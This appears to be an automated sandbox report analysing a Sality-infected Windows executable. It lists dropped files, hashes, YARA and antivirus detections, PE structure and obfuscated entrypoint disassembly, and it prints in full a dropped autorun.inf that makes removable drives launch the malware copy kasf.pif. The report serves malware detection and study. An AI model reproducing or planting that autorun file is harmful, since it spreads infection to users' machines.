                                            SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                            Malicious:false
                                            Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                            C:\Users\user\AppData\Local\Temp\winepfj.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):340
                                            Entropy (8bit):7.428989227311812
                                            Encrypted:false
                                            SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                            MD5:2516CA1835F985ADEAB21CFBC34FF724
                                            SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                            SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                            SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                            Malicious:false
                                            Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                            C:\Users\user\AppData\Local\Temp\winetcc.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):258
                                            Entropy (8bit):7.284780829056715
                                            Encrypted:false
                                            SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                            MD5:88D20B23F81FA97A852263FC732277F8
                                            SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                            SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                            SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                            Malicious:false
                                            Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                            C:\Users\user\AppData\Local\Temp\wingwbr.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):258
                                            Entropy (8bit):7.284780829056715
                                            Encrypted:false
                                            SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                            MD5:88D20B23F81FA97A852263FC732277F8
                                            SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                            SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                            SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                            Malicious:false
                                            Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                            C:\Users\user\AppData\Local\Temp\winngtq.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):258
                                            Entropy (8bit):7.284780829056715
                                            Encrypted:false
                                            SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                            MD5:88D20B23F81FA97A852263FC732277F8
                                            SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                            SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                            SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                            Malicious:false
                                            Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                            C:\Users\user\AppData\Local\Temp\winrhlyw.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                            Category:dropped
                                            Size (bytes):74752
                                            Entropy (8bit):7.977619176307794
                                            Encrypted:false
                                            SSDEEP:1536:RAkpAwKyaZ76RBod0CxlcTSvdgbWmounvYFW9GoSMNwz1hh:R5pdKp8nodh4m2lvYFW9GTMN21hh
                                            MD5:F02E9412AA8D2F6044D83C525A675227
                                            SHA1:41326D9DCA8EEAEFA35231E4779BDF4CC5F72A33
                                            SHA-256:7389A99D675F72ACDE12809463F0E85FDA88959F4230221A2A60D648EAC54732
                                            SHA-512:3569176290F8789DA5DCBB4C45D5607FFB3CA0B436534DD6A23B56BCD5DD1BBE38EED7AFAED1CF0775E2B31495474F493618D617D93BC70702D2A976DA150266
                                            Malicious:true
                                            Yara Hits:
                                            • Rule: Sality_Malware_Oct16, Description: Detects an unspecififed malware - October 2016, Source: C:\Users\user\AppData\Local\Temp\winrhlyw.exe, Author: Florian Roth (Nextron Systems)
                                            • Rule: INDICATOR_EXE_Packed_SimplePolyEngine, Description: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality, Source: C:\Users\user\AppData\Local\Temp\winrhlyw.exe, Author: ditekSHen
                                            Antivirus:
                                            • Antivirus: Avira, Detection: 100%
                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                            Preview:MZ..........PE..L...yrf<[LordPE]....................@.............@..........................@..............................................`...<....................................................................................................................text....0.......".................. ...............................`...<....................................................................................................................text............................... ...........................................H.e.l.l.o. .w.o.r.l.d.!.....C.a.p.t.i.o.n............_..1...Wx............@................................................................................}.ExitProcess.KERNEL32.dll....MessageBoxW.USER32.dll........................................................................................................................................................................................................................................................................

                                            C:\Users\user\AppData\Local\Temp\winweeb.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):258
                                            Entropy (8bit):7.284780829056715
                                            Encrypted:false
                                            SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                            MD5:88D20B23F81FA97A852263FC732277F8
                                            SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                            SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                            SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                            Malicious:false
                                            Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                            C:\Users\user\AppData\Local\Temp\ynjo.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:data
                                            Category:modified
                                            Size (bytes):340
                                            Entropy (8bit):7.428989227311812
                                            Encrypted:false
                                            SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                            MD5:2516CA1835F985ADEAB21CFBC34FF724
                                            SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                            SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                            SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                            Malicious:false
                                            Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                            C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001 (copy)

                                            Download File
                                            Process:C:\Windows\System32\svchost.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):65536
                                            Entropy (8bit):0.11018295930046493
                                            Encrypted:false
                                            SSDEEP:12:26CqWTXm/Ey6q9995Tq3qQ10nMCldimE8eawHjcwbOP:26FWKl68kLyMCldzE9BHjczP
                                            MD5:3404F03ABC57C2CC577BDC8BA88F98BC
                                            SHA1:81F4467FC85D2B7908F1AA5E71F19214423A7F88
                                            SHA-256:F080273909FB4BE17299AA9BBAC761EAB83514E7A7F0F0E1D417E2942F5C60D3
                                            SHA-512:296D666056DC5796E0A7D66AF910D8AECAE17FBD8647E4AABFEDD270A78891AD9C1511D12612401031A40C516846A1EFEF066035437D09E35328E56682312B47
                                            Malicious:false
                                            Preview:................................................................................4...H.....#.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................k........ ........l.l..........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.4...H.....#....................................................................................................................................................................................................................................................................................................................................................................................................

                                            C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy)

                                            Download File
                                            Process:C:\Windows\System32\svchost.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):65536
                                            Entropy (8bit):0.11267495324781583
                                            Encrypted:false
                                            SSDEEP:12:WB1gTXm/Ey6q9995X1miM3qQ10nMCldimE8eawHza1miIjF7g/:bKl68N1tMLyMCldzE9BHza1tIh7g/
                                            MD5:60FC0B444AF7767B24571E90BF4A86AE
                                            SHA1:9048D25EE81B2C124A01B5B338DEB838279F9B85
                                            SHA-256:C6127EB4EED5BCEBFBB860F761E2B7DC317785B6D9D9CE8F795081B7F16B86DF
                                            SHA-512:5AF56354C3DD95F4ED49678A49FAA77DBB4BBB355C0B4DB158C8F6AEF1F2F79359C46DF7BFC6B48802E95FE1C7CCA561C64FB6C8C50BAB4C134BB60C4434E07C
                                            Malicious:false
                                            Preview:................................................................................4...H...~d.#.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................k........ .....v..l.l..........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.4...H...z~.#....................................................................................................................................................................................................................................................................................................................................................................................

                                            C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001 (copy)

                                            Download File
                                            Process:C:\Windows\System32\svchost.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):65536
                                            Entropy (8bit):0.11263212402367964
                                            Encrypted:false
                                            SSDEEP:12:WVmXm/Ey6q9995ga1mK2P3qQ10nMCldimE8eawHza1mKek:szl68Oa1iPLyMCldzE9BHza1n
                                            MD5:468AE55A83E7B9972AFB13C35B0AA60E
                                            SHA1:05D6689480131F2642FAAC1007975EC2CD17A1FF
                                            SHA-256:A3499A71C92D9DEAAC34992EA9A8B2177422B74424799B703B356334A4B1F172
                                            SHA-512:A8EDEA3AF15CF2F7BF6CE7B0E3AB8594B3D03ED85CB1C4B21D457BCFEAD83C0980F139A9D30B52D7D63F0586C93007C71EEF7A764B380985FD15F595F2873B50
                                            Malicious:false
                                            Preview:................................................................................4...H......#.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................k........ .......l.l..........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.4...H......#....................................................................................................................................................................................................................................................................................................................................................................................

                                            C:\Windows\system.ini

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:Windows SYSTEM.INI
                                            Category:dropped
                                            Size (bytes):255
                                            Entropy (8bit):5.272711074012528
                                            Encrypted:false
                                            SSDEEP:6:aQ44VvYkDyyp3BYf1fyBcfjfKvcie0xTqFtPkLVy:F4Yv7yk3OUBq82wqFtPx
                                            MD5:DBF78ED7A72A866E5B3421578B451985
                                            SHA1:46CF2025F694CC04FB460D255AFFFCD7F6CF542B
                                            SHA-256:F7C62817936A77CC2B8238E3DA464EB778593940D8E44501CA88FC2CD74D577A
                                            SHA-512:C63FD0DBF766A6B5ACD3F03D041E7F58917592CA1FB55C39A73D8B34B2B1BCC7E100DE57B6519B2E7967BDCFD579504191EBD90E7EDF6FC2CF508825345AFF0F
                                            Malicious:false
                                            Preview:; for 16-bit app support..[386Enh]..woafont=dosapp.fon..EGA80WOA.FON=EGA80WOA.FON..EGA40WOA.FON=EGA40WOA.FON..CGA80WOA.FON=CGA80WOA.FON..CGA40WOA.FON=CGA40WOA.FON....[drivers]..wave=mmdrv.dll..timer=timer.drv....[mci]..[MCIDRV_VER]..DEVICEMB=42732817817..

                                            C:\autorun.inf

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:Microsoft Windows Autorun file
                                            Category:dropped
                                            Size (bytes):306
                                            Entropy (8bit):5.569419175339266
                                            Encrypted:false
                                            SSDEEP:6:a/vonEExVRPXK4TDytO/pILVuNAJ4mEZuebOe8yVGakYXZ3WBQOnv:D/PXKZA+yueGycYp3WBtv
                                            MD5:BB008251A7A5763EB95C34F6027B41A2
                                            SHA1:51F304801AFEB3C070CC4A4417E78E8CCEA233E2
                                            SHA-256:F5DEA8754E4AA1576727B5491CC7CFA517B8B12567AC7FE91021BC2C36E87E9A
                                            SHA-512:89B2AF032FD785D3F59139FAD386C371112F8A042E209D49D876C73B17BF6ED3A999FA1CCF5A01695DDABE751B156A1E16C3DAD903D55A7323DBD52F618916FC
                                            Malicious:true
                                            Preview:[AutoRun]..;qLop ..;..shell\oPEN\cOmMand= kasf.pif..;wqCPx CwjxUaEcsFaREwofhSbFAkagcIPhvVUtXDfDkmAtb TMxq KHbcitwEfugtxIdnb..opeN= kasf.pif..Shell\oPEN\DefauLt=1..;rChaJNXkadasSIyo KsxXvU bTokCX kLNFLPSH OGxBoH..shEll\Explore\comMand =kasf.pif..;biCd yWLsplhuaPwqjKGWjc..sHell\aUTOPlay\commAnD = kasf.pif..

                                            C:\kasf.pif

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                            Category:dropped
                                            Size (bytes):103140
                                            Entropy (8bit):7.0280278300179955
                                            Encrypted:false
                                            SSDEEP:1536:RAkpAwKyaZ76RBod0CxlcTSvdgbWmounvYFW9GoSMNwz1hhwDeVLnY:R5pdKp8nodh4m2lvYFW9GTMN21hYeVL
                                            MD5:4E016A9C51D8A45F1305BE00BC480493
                                            SHA1:07A1AF85DCA67EB8A94A87D8DF618BB03EC510DF
                                            SHA-256:3A43A394EE3325733F525593145E01E5AA3CD5387FBE863BEB620E92376AB937
                                            SHA-512:FEE44E0718E884FA21F8EA64B4B3B0E7F03A49AB118BF9B43261B6E446414297FEDD37A2FA39DAA71836F0598F6B4A5A0B15E43351A8A26357D0C15C6264F92D
                                            Malicious:true
                                            Yara Hits:
                                            • Rule: Sality_Malware_Oct16, Description: Detects an unspecififed malware - October 2016, Source: C:\kasf.pif, Author: Florian Roth (Nextron Systems)
                                            • Rule: INDICATOR_EXE_Packed_SimplePolyEngine, Description: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality, Source: C:\kasf.pif, Author: ditekSHen
                                            Antivirus:
                                            • Antivirus: Avira, Detection: 100%
                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                            Preview:MZ..........PE..L...yrf<[LordPE]....................@.............@..........................@..............................................`...<....................................................................................................................text....0.......".................. ...............................`...<....................................................................................................................text............................... ...........................................H.e.l.l.o. .w.o.r.l.d.!.....C.a.p.t.i.o.n............_..1...Wx............@................................................................................}.ExitProcess.KERNEL32.dll....MessageBoxW.USER32.dll........................................................................................................................................................................................................................................................................

                                            Static File Info

                                            General

                                            File type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                            Entropy (8bit):7.981087732244649
                                            TrID:
                                            • Win32 Executable (generic) a (10002005/4) 99.96%
                                            • Generic Win/DOS Executable (2004/3) 0.02%
                                            • DOS Executable Generic (2002/1) 0.02%
                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                            File name:pXlV6TKi3E.exe
                                            File size:1055286
                                            MD5:f96ad2108001929ccc0d4244215239f8
                                            SHA1:7f8d00ccdefe09d92adc1c87df833834123fd49f
                                            SHA256:20ad1e6af5c86cb19ced3387f0a7928d98d5b62537d525d1a63e3ecd4a039bba
                                            SHA512:35b778e53683e443113dbda713a97648934cfabbc1536a8185337eb624ef6f248b2458d0de653772a4e95d031ec5677be761023735f489ee1849419e51ffce4b
                                            SSDEEP:24576:kMKhKJqnHBL84j3CeNcYR+xHcL/BqZIe4YI2kpTs9vdiBMRX4lR:kEQnHBLJ3CeNcYI6L/Brpvg/iOF4lR
                                            TLSH:D725231933080F5DD5002CB518FF5F236321E5C065070F23A3692ACBAE9B7DA7B6769A
                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lS..(2..(2..(2......"2......32..(2..50..6`0.22..6`&..2..6`!..2..6`/.+2..6`1.)2..6`4.)2..PE..L...>..d...........................

                                            File Icon

                                            Icon Hash:e1e0c0dcdcfc78fc

                                            Static PE Info

                                            General

                                            Entrypoint:0x528bd3
                                            Entrypoint Section:3ext
                                            Digitally signed:false
                                            Imagebase:0x400000
                                            Subsystem:windows gui
                                            Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
                                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                            Time Stamp:0x6400E63E [Thu Mar 2 18:09:02 2023 UTC]
                                            TLS Callbacks:
                                            CLR (.Net) Version:
                                            OS Version Major:5
                                            OS Version Minor:0
                                            File Version Major:5
                                            File Version Minor:0
                                            Subsystem Version Major:5
                                            Subsystem Version Minor:0
                                            Import Hash:73ec795c6c369c6ce2c3b4c3f6477daa

                                            Entrypoint Preview

                                            Instruction
                                            lea ecx, dword ptr [6BE196D4h]
                                            movsx eax, si
                                            movsx edx, dh
                                            mov bl, ch
                                            jno 00007F3DC4A4FF8Dh
                                            mov dl, ch
                                            imul ebx, eax
                                            test edi, D6CDBD23h
                                            xor eax, 0E699180h
                                            mov ch, bl
                                            lea ebx, dword ptr [C65317A1h]
                                            call 00007F3DC4A4FFAAh
                                            cmp esi, 00000DF8h
                                            jno 00007F3DC4A4FF89h
                                            mov dl, bl
                                            dec edi
                                            mov bh, FFFFFFA9h
                                            test edi, edi
                                            mov dl, al
                                            sub ebp, 0000B8ACh
                                            lea ecx, dword ptr [58B3E570h]
                                            sub ebp, 000008FCh
                                            adc bh, ch
                                            imul eax, eax
                                            xchg bl, al
                                            test cl, dh
                                            test bl, 00000065h
                                            adc ah, al
                                            cmp ecx, 00006F8Fh
                                            adc bh, cl
                                            xchg ah, al
                                            imul ebp, ebx
                                            xor al, D4h
                                            test ebx, eax
                                            mov bh, ch
                                            mov ecx, 000014AFh
                                            sub ecx, 00000FD1h
                                            sub edi, ebp
                                            imul edi, ecx
                                            mov esi, D739BE2Eh
                                            inc bl
                                            sub ecx, FFFFE7B2h
                                            test cl, bh
                                            sub ecx, 0000184Fh
                                            add ebx, ebp
                                            test ecx, 4385C918h
                                            and al, 95h
                                            mov eax, esi
                                            sub al, 6Fh
                                            jno 00007F3DC4A4FF88h
                                            test edi, C40546B9h
                                            cmp ecx, 0000021Eh
                                            jne 00007F3DC4A4FF49h
                                            pop eax
                                            test edx, 47209933h
                                            imul edx, ebp

                                            Data Directories

                                            NameVirtual AddressVirtual Size Is in Section
                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x139b340x3c4data
                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0xe60000x3e301sp1
                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                            IMAGE_DIRECTORY_ENTRY_IAT0x1390000x644data
                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                            Sections

                                            NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                            0sp00x10000xe50000x0False0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                            1sp10xe60000x3f0000x3f000False0.9535396515376984data7.898762175426289IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                            2sp20x1250000x13ce0x0False0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                            3ext0x1270000x11daf0xb800False0.9480723505434783data7.89543273451379IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                            4data0x1390000xda40xe00False0.38978794642857145data4.547461617729177IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                            5ata0x13a0000x1a0000x19200False1.000213774875622data7.99652022650851IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                            Resources

                                            NameRVASizeTypeLanguageCountry
                                            RT_CURSOR0xd88780x134emptyChineseTaiwan
                                            RT_CURSOR0xd89ac0xb4emptyChineseTaiwan
                                            RT_CURSOR0xd8a600x134emptyChineseTaiwan
                                            RT_CURSOR0xd8b940x134emptyChineseTaiwan
                                            RT_CURSOR0xd8cc80x134emptyChineseTaiwan
                                            RT_CURSOR0xd8dfc0x134emptyChineseTaiwan
                                            RT_CURSOR0xd8f300x134emptyChineseTaiwan
                                            RT_CURSOR0xd90640x134emptyChineseTaiwan
                                            RT_CURSOR0xd91980x134emptyChineseTaiwan
                                            RT_CURSOR0xd92cc0x134emptyChineseTaiwan
                                            RT_CURSOR0xd94000x134emptyChineseTaiwan
                                            RT_CURSOR0xd95340x134emptyChineseTaiwan
                                            RT_CURSOR0xd96680x134emptyChineseTaiwan
                                            RT_CURSOR0xd979c0x134emptyChineseTaiwan
                                            RT_CURSOR0xd98d00x134emptyChineseTaiwan
                                            RT_CURSOR0xd9a040x134emptyChineseTaiwan
                                            RT_BITMAP0xd9b380xb8emptyChineseTaiwan
                                            RT_BITMAP0xd9bf00x144emptyChineseTaiwan
                                            RT_ICON0x49e300x668emptyChineseChina
                                            RT_ICON0x4a4980x2e8emptyChineseChina
                                            RT_ICON0x4a7800x128emptyChineseChina
                                            RT_ICON0x4a8a80xea8emptyChineseChina
                                            RT_ICON0x4b7500x8a8emptyChineseChina
                                            RT_ICON0x4bff80x568emptyChineseChina
                                            RT_ICON0x4c5600x1ca8emptyChineseChina
                                            RT_ICON0x4e2080xca8emptyChineseChina
                                            RT_ICON0x4eeb00x368emptyChineseChina
                                            RT_ICON0x4f2180xea8empty
                                            RT_ICON0x500c00x8a8empty
                                            RT_ICON0x509680x6c8empty
                                            RT_ICON0x510300x568empty
                                            RT_ICON0x515980x25a8empty
                                            RT_ICON0x53b400x10a8empty
                                            RT_ICON0x54be80x988empty
                                            RT_ICON0x555700x468empty
                                            RT_ICON0x559d80xea8empty
                                            RT_ICON0x568800x8a8empty
                                            RT_ICON0x571280x6c8empty
                                            RT_ICON0x577f00x568empty
                                            RT_ICON0x57d580x25a8empty
                                            RT_ICON0x5a3000x10a8empty
                                            RT_ICON0x5b3a80x988empty
                                            RT_ICON0x5bd300x468empty
                                            RT_ICON0x5c1980xea8empty
                                            RT_ICON0x5d0400x8a8empty
                                            RT_ICON0x5d8e80x6c8empty
                                            RT_ICON0x5dfb00x568empty
                                            RT_ICON0x5e5180x25a8empty
                                            RT_ICON0x60ac00x10a8empty
                                            RT_ICON0x61b680x988empty
                                            RT_ICON0x624f00x468empty
                                            RT_ICON0x629580xea8empty
                                            RT_ICON0x638000x8a8empty
                                            RT_ICON0x640a80x6c8empty
                                            RT_ICON0x647700x568empty
                                            RT_ICON0x64cd80x25a8empty
                                            RT_ICON0x672800x10a8empty
                                            RT_ICON0x683280x988empty
                                            RT_ICON0x68cb00x468empty
                                            RT_ICON0x691180xea8empty
                                            RT_ICON0x69fc00x8a8empty
                                            RT_ICON0x6a8680x6c8empty
                                            RT_ICON0x6af300x568empty
                                            RT_ICON0x6b4980x25a8empty
                                            RT_ICON0x6da400x10a8empty
                                            RT_ICON0x6eae80x988empty
                                            RT_ICON0x6f4700x468empty
                                            RT_ICON0x6f8d80xea8empty
                                            RT_ICON0x707800x8a8empty
                                            RT_ICON0x710280x6c8empty
                                            RT_ICON0x716f00x568empty
                                            RT_ICON0x71c580x25a8empty
                                            RT_ICON0x742000x10a8empty
                                            RT_ICON0x752a80x988empty
                                            RT_ICON0x75c300x468empty
                                            RT_ICON0x760980xea8empty
                                            RT_ICON0x76f400x8a8empty
                                            RT_ICON0x777e80x6c8empty
                                            RT_ICON0x77eb00x568empty
                                            RT_ICON0x784180x25a8empty
                                            RT_ICON0x7a9c00x10a8empty
                                            RT_ICON0x7ba680x988empty
                                            RT_ICON0x7c3f00x468empty
                                            RT_ICON0xe94600x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors
